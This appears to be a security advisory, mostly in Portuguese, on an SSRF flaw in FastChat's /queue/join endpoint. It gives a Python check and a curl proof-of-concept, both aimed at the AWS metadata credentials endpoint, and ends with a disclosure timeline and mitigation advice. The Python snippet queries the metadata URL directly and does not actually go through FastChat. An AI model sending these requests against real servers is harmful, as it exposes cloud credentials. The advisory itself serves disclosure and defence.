Vulnerabilidade de Solicitação Forjada do Lado do Servidor (SSRF) no FastChat

A vulnerabilidade SSRF em fschat permite que um atacante utilize o servidor para fazer requisições a recursos internos que normalmente não seriam acessíveis externamente. Isso pode incluir a leitura de arquivos de configuração sensíveis, o acesso a bancos de dados internos ou a exploração de outros serviços rodando na mesma rede. Um cenário de ataque comum envolve a exploração do endpoint de metadados da AWS, que pode revelar credenciais de acesso e outras informações confidenciais. A consequência direta é a exposição de dados sensíveis e a potencial tomada de controle de servidores internos, ampliando significativamente o raio de impacto.

Organizations deploying fastchat for language model serving, particularly those running on AWS infrastructure, are at significant risk. Shared hosting environments where fastchat instances share network access with other tenants are also particularly vulnerable, as a successful SSRF attack could potentially compromise other services on the same host.

• python / server:

import requests
import urllib.parse

def check_ssrf(url):
    try:
        parsed_url = urllib.parse.urlparse(url)
        if parsed_url.scheme in ('http', 'https'):
            response = requests.get(url, timeout=5)
            print(f"URL: {url}, Status Code: {response.status_code}")
        else:
            print(f"Invalid URL scheme: {url}")
    except requests.exceptions.RequestException as e:
        print(f"Error accessing {url}: {e}")

# Example usage - check AWS metadata endpoint
check_ssrf('http://169.254.169.254/latest/meta-data/iam/security-credentials/')

• generic web:

curl -I 'http://your-fastchat-server/queue/join?path=http://169.254.169.254/latest/meta-data/iam/security-credentials/'

1. 2025-03-20Disclosure

   disclosure

1. Reservado2024-11-21
2. Publicada2025-03-20
3. Modificada2025-03-21
4. EPSS atualizado2026-04-02

A mitigação primária para esta vulnerabilidade é a atualização para uma versão corrigida do fschat, assim que disponível. Enquanto a atualização não for possível, implemente validação robusta do parâmetro de caminho no endpoint /queue/join?. Isso pode ser feito através da utilização de listas de permissão (whitelist) para os caminhos permitidos ou da rejeição de qualquer caminho que não corresponda a um padrão esperado. Além disso, configure firewalls e regras de rede para restringir o acesso ao endpoint de metadados da AWS, limitando o potencial de exploração. Monitore logs de acesso e erros em busca de atividades suspeitas, como requisições para caminhos inesperados.